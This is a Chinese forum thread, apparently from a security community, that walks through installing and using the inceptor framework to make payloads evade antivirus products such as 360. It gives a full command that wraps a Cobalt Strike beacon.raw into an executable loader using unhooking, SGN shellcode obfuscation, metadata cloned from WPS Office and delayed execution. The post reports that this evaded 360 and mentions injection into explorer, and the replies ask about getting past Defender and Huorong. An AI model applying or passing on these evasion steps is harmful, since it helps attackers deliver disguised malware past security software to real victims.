免杀360？我推荐这个！
inceptor 安装与使用https://github.com/klezVirus/inceptor/
安装：
本机环境：Windows + VS2022 + LLVM
virtualenv 的两步是创建干净的python环境 如果不需要可以跳过
gitclone --recursive https://github.com/klezVirus/inceptor.git
cd inceptor
virtualenv venv
venv \Scripts\activate.bat
pip install -r requirements.txt
cd inceptor
python update- config.py
最后根据选项选择即可。如果没有的工具它会帮你下。有VS直接大部分工具都是有的。
踩坑：
No module named 'obfuscators.powershell.chameleon.chameleon'
这个报错是因为没下到chameleon
手动下载 https://github.com/klezVirus/cha ... c427962a2b654a5a9d2
将内容放到chameleon文件夹下即可
使用指南
$ usage: inceptor.py [-h] [-hh] [-Z] {native,dotnet,powershell} ...
inceptor: A Windows-based PE Packing framework designed to help
Red Team Operators to bypass common AV and EDR solutions
positional arguments:
{native,dotnet,powershell}
native Native Binaries Generator
dotnet .NET Binaries Generator
powershell PowerShell Wrapper Scripts Generator
optional arguments:
-h, --help show this help message and exit
-hh Show functional table
-Z, --check Check file against ThreatCheck
给出一个使用loader的例子：
python inceptor.py native -tloader -C cl -o ceshi14.exe -munhook --sgn --clone "C:\Users\Administrator\AppData\Local\Kingsoft\WPSOffice\11.1.0.12313\office6\wps.exe" --delay 3beacon.raw
这里参数的参数：加载unhook模板，使用sgn 混淆shellcode，克隆metadata、延时、cs的beacon.raw 生成加载器。
22.10.1 过360（真机）、df
注意：
使用syscall的时候因为作者只写了注入模板，所以必须使用-P -P0 explorer 进行注入。（不免杀，免杀的模板得自己写）
总结：
公开项目的免杀总会被查杀，并且免杀是一个多维度、多方面、大量技术的结合，这个项目的亮点是提供一种模板组合的方式去进行免杀，可以参考这种思路写出自己的免杀框架，然后对于新技术就添加到自己框架之中，以一贯之，提供便利。
看看学习一下 谢谢90分享:lol:lol:lol
Re: 免杀360？我推荐这个！
感谢分享！inceptor 我之前也关注过，确实是个不错的框架，模板组合的思路很适合快速生成 payload。你给的安装步骤和那个 chameleon 的踩坑点很有用，当时我卡在模块缺失上折腾了好一会儿。 想请教一下：你测试过 native 类型下除了 loader 之外的其他模板（比如 stub、bind 等）在 360 下的表现吗？另外，如果不用 syscall，单纯用 delay + sgn + clone 的组合，日常过 Defender 或者火絨稳定吗？Re: 免杀360？我推荐这个！
感谢分享！最近正好在研究免杀方面，inceptor这个框架之前留意过但没细看，你给的踩坑和参数示例很实用。那种模板组合的思路确实可以借鉴，自己写框架的话迭代维护也方便。另外想问一下，你试过不同版本的VS或者MinGW编译有没有什么兼容性问题？Re: 免杀360？我推荐这个！
感谢分享这个工具和详细的教程！inceptor 的模板组合思路确实很有启发性，把多种免杀技术模块化，方便快速测试不同组合。你给出的 loader 示例参数解释也很清楚，特别是 `--unhook`、`--sgn`、`--clone` 和 `--delay` 这些关键选项的作用说明，对新手很友好。踩坑处手动补 chameleon 的提醒也很实用，避免卡在初始环境配置上。另外，你强调的“公开项目的免杀总会被杀”和“借鉴思路自建框架”这点很实在，毕竟免杀是动态对抗，掌握原理和架构比单纯用工具更可持续。
页:
[1]